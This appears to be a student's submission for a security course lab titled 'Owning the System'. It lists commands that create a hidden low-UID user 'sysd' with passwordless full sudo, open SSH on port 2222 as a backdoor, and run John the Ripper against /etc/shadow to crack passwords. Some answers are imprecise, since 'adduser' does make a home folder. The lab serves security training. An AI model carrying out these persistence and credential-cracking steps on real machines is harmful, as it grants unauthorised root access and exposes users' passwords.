**Week 6 Homework Submission File: Advanced Bash - Owning the System**

Please edit this file by adding the solution commands on the line below the prompt.

**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:

sudo adduser sysd

1. Give your secret user a password:

passw0rd

1. Give your secret user a system UID < 1000:

usermod -u 88 sysd

1. Give your secret user the same GID:

groupmod -g 88 sysd

1. Give your secret user full sudo access without the need for a password:

sudo visudo

sysd ALL=(ALL:ALL) NOPASSWD:ALL

1. Test that sudo access works without your password:

sudo su sysd

**Step 2: Smooth Sailing**

1. Edit the sshd\_config

sudo nano /etc/ssh/sshd\_config

(added Port 2222 under #Port 22)

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:

sudo systemctl restart ssh

1. Exit the root account:

exit

(continue “exit” until back to Ubuntu desktop)

1. SSH to the target machine using your sysd account and port 2222:

ssh [sysd@192.168.6.105](mailto:sysd@192.168.6.105) -p 2222

1. Use sudo to switch to the root user:

sudo su

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:

ssh [sysd@192.168.6.105](mailto:sysd@192.168.6.105) -p 2222

1. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

sudo su

john -show /etc/shadow

Text

Description automatically generated